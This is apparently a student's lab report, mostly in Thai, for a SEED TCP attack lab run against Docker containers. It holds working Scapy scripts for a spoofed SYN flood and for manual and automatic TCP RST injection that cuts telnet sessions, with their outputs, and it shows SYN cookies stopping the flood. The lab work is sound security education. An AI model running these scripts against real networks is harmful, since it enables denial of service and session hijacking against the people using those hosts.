

Lab 5: TCP Attack Lab 1st

รายการ Container:

```
[03/22/25] seed@VM:~/.../Labsetup$ dockps
3f5ec567cb15  user2-10.9.0.7
cf2b17c52c57  user1-10.9.0.6
70d0f96bee57  seed-attacker
b0eb48983c3b  victim-10.9.0.5
[03/22/25] seed@VM:~/.../Labsetup$
```

Task 1.1 SYN flood using Python

เช็คค่า tcp backlog, tcp synack, tcp syncookies

```
root@b0eb48983c3b:/# sysctl net.ipv4.tcp_max_syn_backlog
net.ipv4.tcp_max_syn_backlog = 256
root@b0eb48983c3b:/# sysctl net.ipv4.tcp_synack_retries
net.ipv4.tcp_synack_retries = 5
root@b0eb48983c3b:/# sysctl net.ipv4.tcp_syncookies
net.ipv4.tcp_syncookies = 0
root@b0eb48983c3b:/#
```

ทำการลดขนาดค่า backlog และ synack เพื่อให้ buffer เต็มเร็วขึ้น และค้างใน buffer ได้นานขึ้น ส่วน syncookies (ป้องกัน syn flooding attack) มีค่าเป็น 0 อยู่แล้วจึงไม่ต้องเปลี่ยนค่าอีก

```
root@b0eb48983c3b:/# sysctl -w net.ipv4.tcp_max_syn_backlog=80
net.ipv4.tcp_max_syn_backlog = 80
root@b0eb48983c3b:/# sysctl -w net.ipv4.tcp_synack_retries=10
net.ipv4.tcp_synack_retries = 10
root@b0eb48983c3b:/#
```

เตรียม Code สำหรับการถล่มยิงเพื่อให้ buffer backlog ของเป้าหมายเต็ม

```

GNU nano 4.8 synflood.py
#!/bin/env python3

from scapy.all import IP, TCP, send
from ipaddress import IPv4Address
from random import getrandbits

ip = IP(dst="10.9.0.5")
tcp = TCP(dport=23, flags='S')
pkt = ip/tcp

while True:
    pkt[IP].src = str(IPv4Address(getrandbits(32)))
    pkt[TCP].sport = getrandbits(16)
    pkt[TCP].seq = getrandbits(32)
    send(pkt, verbose=0)

```

เช็ค connections ก่อนถูกโจมตี

```

root@b0eb48983c3b:/# netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.11:35065        0.0.0.0:*               LISTEN
root@b0eb48983c3b:/# ip tcp_metrics show
root@b0eb48983c3b:/#

```

เช็ค connections หลังจากทำ execute code เพื่อโจมตี

```
root@b0eb48983c3b:/# netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp      0      0 0.0.0.0:23              0.0.0.0:*               LISTEN
tcp      0      0 127.0.0.11:35065        0.0.0.0:*               LISTEN
tcp      0      0 10.9.0.5:23            110.20.0.210:47875      SYN_RECV
tcp      0      0 10.9.0.5:23            15.17.245.213:7375      SYN_RECV
tcp      0      0 10.9.0.5:23            2.46.21.59:12102        SYN_RECV
tcp      0      0 10.9.0.5:23            117.32.31.152:16389      SYN_RECV
tcp      0      0 10.9.0.5:23            131.60.96.45:24573       SYN_RECV
tcp      0      0 10.9.0.5:23            67.18.137.202:30878      SYN_RECV
tcp      0      0 10.9.0.5:23            215.43.144.78:16139      SYN_RECV
tcp      0      0 10.9.0.5:23            54.156.130.179:57610     SYN_RECV
tcp      0      0 10.9.0.5:23            137.148.102.106:51331    SYN_RECV
tcp      0      0 10.9.0.5:23            23.232.145.98:38580      SYN_RECV
tcp      0      0 10.9.0.5:23            119.145.73.204:39539     SYN_RECV
tcp      0      0 10.9.0.5:23            59.99.98.1:61541        SYN_RECV
tcp      0      0 10.9.0.5:23            223.121.55.139:47918     SYN_RECV
tcp      0      0 10.9.0.5:23            4.73.116.235:5097        SYN_RECV
tcp      0      0 10.9.0.5:23            109.180.59.182:39479     SYN_RECV
tcp      0      0 10.9.0.5:23            78.204.65.91:304         SYN_RECV
tcp      0      0 10.9.0.5:23            68.229.200.9:18555       SYN_RECV
tcp      0      0 10.9.0.5:23            87.125.78.251:7369       SYN_RECV
tcp      0      0 10.9.0.5:23            197.17.172.245:50050     SYN_RECV
tcp      0      0 10.9.0.5:23            43.40.207.199:59942      SYN_RECV
tcp      0      0 10.9.0.5:23            167.115.209.108:11185    SYN_RECV
tcp      0      0 10.9.0.5:23            244.27.66.6:29270        SYN_RECV
tcp      0      0 10.9.0.5:23            68.204.197.114:60976     SYN_RECV
tcp      0      0 10.9.0.5:23            243.117.70.224:64625     SYN_RECV
```

ทำการเช็คค่า SYN_RECV พบว่ามี 61 รายการที่ค้างอยู่

```
root@b0eb48983c3b:/# netstat -nat | grep SYN_RECV | wc -l
61
root@b0eb48983c3b:/#
```

ทดลอง telnet จากเครื่อง 10.9.0.6 ไปที่เครื่องเป้าหมาย จะพบว่า connecting นานมากจน timed out

```
root@cf2b17c52c57:/# telnet 10.9.0.5
Trying 10.9.0.5...
telnet: Unable to connect to remote host: Connection timed out
root@cf2b17c52c57:/#
```

Task 1.3 Enable the SYN Cookie Countermeasure

ทำการปรับค่า syncookies ให้เป็น 1 เพื่อทดสอบผลการโจมตีอีกครั้ง

```
root@b0eb48983c3b:/# sysctl net.ipv4.tcp_syncookies
net.ipv4.tcp_syncookies = 0
root@b0eb48983c3b:/# sysctl net.ipv4.tcp_syncookies=1
net.ipv4.tcp_syncookies = 1
root@b0eb48983c3b:/#
```

หลังจากทำการใช้ Code โจมตีเข้ามาใหม่จะพบว่ามียังทั้งหมด 126 รายการ

แล้วใช้เครื่อง 10.9.0.6 telnet เข้ามาใหม่จะพบว่าสามารถเชื่อมต่อเข้ามาได้

```
root@b0eb48983c3b:/# netstat -nat | grep SYN_RECV | wc -l
126
root@b0eb48983c3b:/# netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 0.0.0.0:*                0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.11:35065        0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:23              0.0.0.0:*               SYN_RECV
tcp        0      0 0.0.0.0:23              110.20.0.210:47875      SYN_RECV
tcp        0      0 0.0.0.0:23              183.90.154.179:41364    SYN_RECV
tcp        0      0 0.0.0.0:23              15.17.245.213:7375      SYN_RECV
tcp        0      0 0.0.0.0:23              2.46.21.59:12102        SYN_RECV
tcp        0      0 0.0.0.0:23              117.32.31.152:16389      SYN_RECV
tcp        0      0 0.0.0.0:23              113.209.246.42:23781    SYN_RECV
tcp        0      0 0.0.0.0:23              218.37.241.120:3427     SYN_RECV
tcp        0      0 0.0.0.0:23              168.79.247.247:43046    SYN_RECV
tcp        0      0 0.0.0.0:23              131.60.96.45:24573      SYN_RECV
tcp        0      0 0.0.0.0:23              67.18.137.202:30878     SYN_RECV
tcp        0      0 0.0.0.0:23              215.43.144.78:16139     SYN_RECV
tcp        0      0 0.0.0.0:23              54.156.130.179:57610    SYN_RECV
tcp        0      0 0.0.0.0:23              137.148.102.106:51331   SYN_RECV
tcp        0      0 0.0.0.0:23              249.229.147.112:61243   SYN_RECV
tcp        0      0 0.0.0.0:23              23.232.145.98:38580     SYN_RECV
tcp        0      0 0.0.0.0:23              28.73.190.54:34581      SYN_RECV
tcp        0      0 0.0.0.0:23              119.145.73.204:39539    SYN_RECV
tcp        0      0 0.0.0.0:23              141.242.121.68:60981    SYN_RECV
tcp        0      0 0.0.0.0:23              59.99.98.1:61541        SYN_RECV
tcp        0      0 0.0.0.0:23              223.121.55.139:47918    SYN_RECV
tcp        0      0 0.0.0.0:23              4.73.116.235:5097       SYN_RECV
tcp        0      0 0.0.0.0:23              186.174.190.106:56589   SYN_RECV
tcp        0      0 0.0.0.0:23              146.232.181.38:29301    SYN_RECV
tcp        0      0 0.0.0.0:23              18.214.243.126:23055    SYN_RECV
tcp        0      0 0.0.0.0:23              125.103.148.88:4706     SYN_RECV
tcp        0      0 0.0.0.0:23              140.216.105.105:57539   SYN_RECV
tcp        0      0 0.0.0.0:23              215.184.5.222:45018     SYN_RECV
tcp        0      0 0.0.0.0:23              109.210.139.111:7939    SYN_RECV
tcp        0      0 0.0.0.0:23              10.9.0.6:44794          ESTABLISHED
tcp        0      0 0.0.0.0:23              179.51.160.104:4206     SYN_RECV
tcp        0      0 0.0.0.0:23              206.76.139.131:52497    SYN_RECV
tcp        0      0 0.0.0.0:23              177.91.2.121:45841      SYN_RECV
tcp        0      0 0.0.0.0:23              77.185.253.186:64593    SYN_RECV
tcp        0      0 0.0.0.0:23              50.43.122.20:64607      SYN_RECV
tcp        0      0 0.0.0.0:23              246.40.250.112:33219    SYN_RECV
tcp        0      0 0.0.0.0:23              180.246.213.18:44813    SYN_RECV
tcp        0      0 0.0.0.0:23              4.48.82.249:33994       SYN_RECV
tcp        0      0 0.0.0.0:23              166.39.136.142:16354    SYN_RECV
root@b0eb48983c3b:/#
root@cf2b17c52c57:/# telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
b0eb48983c3b login:
```

Task 2 TCP RST Attacks on telnet Connections

ทดลองส่ง reset flags เพื่อตัดการเชื่อมต่อ telnet แบบ manually

ใช้ scapy เพื่อดัก packet ที่เป็น tcp

```
[03/22/25]seed@VM:~/.../Labsetup$ sudo scapy
INFO: Can't import matplotlib. Won't be able to plot.
INFO: Can't import PyX. Won't be able to use psdump() or pdfdump().
WARNING: IPython not available. Using standard Python shell instead.
AutoCompletion, History are disabled.

      aSPY//YASa
    apyyyyCY////////YCaa
  sY////////YSpcs  scpCY//Pp
ayp ayyyyyyySCP//Pp      syY//C
AYAsAYYYYYYYY//Ps      cY//S
  pCCCCY//p      cSSps y//Y
  SPPPP//a      pP///AC//Y
    A//A      cyP///C
  p///Ac      sC///a
  P///YCpc      A//A
  sccccp///pSP//p      p//Y
sY/////////y caa      S//P
cayCyayP//Ya      pY/Ya
sY/PsY///YCc      aC//Yp
  sc  sccaCY//PCypaapyCP//YSs
      spCPY////////YPSps
      ccaacs

Welcome to Scapy
Version 2.4.4

https://github.com/secdev/scapy

Have fun!

Craft packets before they craft
you.

-- Socrate

>>> pkt = sniff(iface="br-c376bf894000", filter="tcp")
```

ใช้เครื่อง 10.9.0.7 telnet ไปหาเครื่องเป้าหมาย

```
root@3f5ec567cb15:/# telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
b0eb48983c3b login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Sat Mar 22 12:28:22 UTC 2025 from user2-10.9.0.7.net-10.9.0.0 on pts/2
seed@b0eb48983c3b:~$
```

หลังจากต่อ telnet เข้ามาได้แล้ว เราจะเข้ามาดูข้อมูลที่ทำการดักจับ

โดยเราจะดู Source Port และ Sequence number

No.	Time	Source	Destination	Protocol	Length	Info
44	2.497508	10.9.0.7	10.9.0.5	TCP	66	46944 → 23 [ACK] Seq=83 Ack=98 Win=64256 Len=0 TSval=66832582...
45	2.498078	10.9.0.5	10.9.0.7	TELNET	76	Telnet Data ...
46	2.498091	10.9.0.7	10.9.0.5	TCP	66	46944 → 23 [ACK] Seq=83 Ack=108 Win=64256 Len=0 TSval=6683258...
47	2.804695	10.9.0.7	10.9.0.5	TELNET	67	Telnet Data ...
48	2.854030	10.9.0.5	10.9.0.7	TCP	66	23 → 46944 [ACK] Seq=108 Ack=84 Win=65152 Len=0 TSval=3170083...
49	3.073661	10.9.0.7	10.9.0.5	TELNET	67	Telnet Data ...
50	3.073692	10.9.0.5	10.9.0.7	TCP	66	23 → 46944 [ACK] Seq=108 Ack=85 Win=65152 Len=0 TSval=3170083...
51	3.285522	10.9.0.7	10.9.0.5	TELNET	67	Telnet Data ...
52	3.285559	10.9.0.5	10.9.0.7	TCP	66	23 → 46944 [ACK] Seq=108 Ack=86 Win=65152 Len=0 TSval=3170083...
53	3.519655	10.9.0.7	10.9.0.5	TELNET	67	Telnet Data ...
54	3.519691	10.9.0.5	10.9.0.7	TCP	66	23 → 46944 [ACK] Seq=108 Ack=87 Win=65152 Len=0 TSval=3170083...
55	3.965559	10.9.0.7	10.9.0.5	TELNET	68	Telnet Data ...
56	3.965587	10.9.0.5	10.9.0.7	TCP	66	23 → 46944 [ACK] Seq=108 Ack=89 Win=65152 Len=0 TSval=3170084...
57	3.966250	10.9.0.5	10.9.0.7	TELNET	68	Telnet Data ...
58	3.966264	10.9.0.7	10.9.0.5	TCP	66	46944 → 23 [ACK] Seq=89 Ack=110 Win=64256 Len=0 TSval=6683272...
59	3.980187	10.9.0.5	10.9.0.7	TELNET	560	Telnet Data ...
60	3.980209	10.9.0.7	10.9.0.5	TCP	66	46944 → 23 [ACK] Seq=89 Ack=604 Win=64128 Len=0 TSval=6683273...
61	3.985206	10.9.0.5	10.9.0.7	TELNET	87	Telnet Data ...
62	3.985222	10.9.0.7	10.9.0.5	TCP	66	46944 → 23 [ACK] Seq=89 Ack=625 Win=64128 Len=0 TSval=6683273...

▶	Frame 62: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface -, id 0
▶	Ethernet II, Src: 02:42:0a:09:00:07 (02:42:0a:09:00:07), Dst: 02:42:0a:09:00:05 (02:42:0a:09:00:05)
▶	Internet Protocol Version 4, Src: 10.9.0.7, Dst: 10.9.0.5
▼	Transmission Control Protocol, Src Port: 46944, Dst Port: 23, Seq: 89, Ack: 625, Len: 0
	Source Port: 46944
	Destination Port: 23
	[Stream index: 0]
	[TCP Segment Len: 0]
	Sequence number: 89 (relative sequence number)
	Sequence number (raw): 1406730719
	[Next sequence number: 89 (relative sequence number)]
	Acknowledgment number: 625 (relative ack number)
	Acknowledgment number (raw): 1312371261
	1000 = Header Length: 32 bytes (8)
▶	Flags: 0x010 (ACK)
	Window size value: 501
	[Calculated window size: 64128]
	[Window size scaling factor: 128]
	Checksum: 0x1444 [unverified]
	[Checksum Status: Unverified]
	Urgent pointer: 0

0000	02 42 0a 09 00 05 02 42 0a 09 00 07 08 00 45 10	B.....B.....E..
0010	00 34 56 e6 40 00 00 cf b0 0a 09 00 07 0a 09	..4V@.0.....
0020	00 05 b7 60 00 17 53 d9 01 df 4e 39 32 3d 80 10S...N92=..
0030	01 f5 14 44 00 00 01 01 08 0a 27 d5 dd 8f bd 6d	...D.....m
0040	b7 52	R

นำค่า source port และ seq no. มาใส่ใน code

```

GNU nano 4.8 tcp_rst_manually.py
#!/usr/bin/env python3

from scapy.all import *

ip = IP(src="10.9.0.7", dst="10.9.0.5")
tcp = TCP(sport=46944, dport=23, flags='R', seq=1406730719)
pkt = ip/tcp
ls(pkt)
send(pkt, verbose=0)

```

แล้วทำการ execute code ดังกล่าว เพื่อตัดการเชื่อมต่อ

```
[03/22/25] seed@VM:~/.../volumes$ sudo python3 tcp_rst_manually.py
version      : BitField  (4 bits)      = 4          (4)
ihl          : BitField  (4 bits)      = None       (None)
tos          : XByteField              = 0          (0)
len          : ShortField              = None       (None)
id           : ShortField              = 1          (1)
flags        : FlagsField  (3 bits)    = <Flag 0 (>> (<Flag 0 (>>)
frag         : BitField  (13 bits)     = 0          (0)
ttl          : ByteField               = 64         (64)
proto        : ByteEnumField           = 6          (0)
chksum       : XShortField              = None       (None)
src          : SourceIPField           = '10.9.0.7' (None)
dst          : DestIPField             = '10.9.0.5' (None)
options      : PacketListField         = []         ([])
--
sport        : ShortEnumField           = 46944      (20)
dport        : ShortEnumField           = 23         (80)
seq          : IntField                 = 1406730719 (0)
ack          : IntField                 = 0          (0)
dataofs      : BitField  (4 bits)      = None       (None)
reserved     : BitField  (3 bits)      = 0          (0)
flags        : FlagsField  (9 bits)    = <Flag 4 (R)> (<Flag 2 (S)>)
window       : ShortField               = 8192       (8192)
chksum       : XShortField              = None       (None)
urgptr       : ShortField               = 0          (0)
options      : TCPOptionsField         = []         (b'')
```

หลังจากนั้นลองกด keyboard ที่เครื่อง 10.9.0.7 จะพบว่า telnet หลุดการเชื่อมต่อไปแล้ว

```
seed@b0eb48983c3b:~$ Connection closed by foreign host.
root@3f5ec567cb15:/#
```


ทดลองส่ง reset flags เพื่อตัดการเชื่อมต่อด้วยวิธีการแบบ automatically

Code ที่ใช้งาน

```
GNU nano 4.8 tcp_rst_auto.py
#!/usr/bin/env python3

from scapy.all import *

def spoof(pkt):
    old_tcp = pkt[TCP]
    old_ip = pkt[IP]

    ip = IP(src=old_ip.dst, dst=old_ip.src)
    tcp = TCP(sport=old_tcp.dport, dport=old_tcp.sport, flags='R', seq=old_tcp.ack)
    pkt = ip/tcp
    ls(pkt)
    send(pkt, verbose=0)

myFilter = "tcp and src port 23"

sniff(iface="br-c376bf894000", filter=myFilter, prn=spoof)
```

ทำการ execute code รอไว้ก่อนที่เป้าหมายจะเชื่อมต่อหากัน

```
[03/22/25] seed@VM:~/.../volumes$ nano tcp_rst_auto.py
[03/22/25] seed@VM:~/.../volumes$ sudo python3 tcp_rst_auto.py
```

ใช้เครื่อง 10.9.0.6 เพื่อทำการ telnet ไปที่เป้าหมาย

```
root@cf2b17c52c57:/# telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
b0eb48983c3b login: Connection closed by foreign host.
root@cf2b17c52c57:/# e
```

จะพบว่าหลังจากเริ่มการเชื่อมต่อก็จะเกิด connection closed ทันทีจากการถูก spoof ส่ง reset flags

ที่หน้าจอของเครื่อง VM ที่ทำการ spoof จะมีการแสดง packet ที่ spoof ออกไปตามคำสั่งใน code

```

chksum      : XShortField          = None          (None)
urgptr      : ShortField           = 0              (0)
options     : TCPOptionsField      = []             (b'')
version     : BitField (4 bits)    = 4              (4)
ihl         : BitField (4 bits)    = None           (None)
tos         : XByteField           = 0              (0)
len         : ShortField           = None           (None)
id          : ShortField           = 1              (1)
flags       : FlagsField (3 bits)  = <Flag 0 (>)    (<Flag 0 (>))
frag        : BitField (13 bits)   = 0              (0)
ttl         : ByteField            = 64             (64)
proto       : ByteEnumField        = 6              (0)
chksum      : XShortField          = None           (None)
src         : SourceIPField        = '10.9.0.6'     (None)
dst         : DestIPField          = '10.9.0.5'     (None)
options     : PacketListField      = []             ([])
--
sport       : ShortEnumField       = 44908          (20)
dport       : ShortEnumField       = 23             (80)
seq         : IntField             = 0              (0)
ack         : IntField             = 0              (0)
dataofs     : BitField (4 bits)    = None           (None)
reserved    : BitField (3 bits)    = 0              (0)
flags       : FlagsField (9 bits)  = <Flag 4 (R)>    (<Flag 2 (S)>)
window      : ShortField           = 8192           (8192)
chksum      : XShortField          = None           (None)
urgptr      : ShortField           = 0              (0)
options     : TCPOptionsField      = []             (b'')

```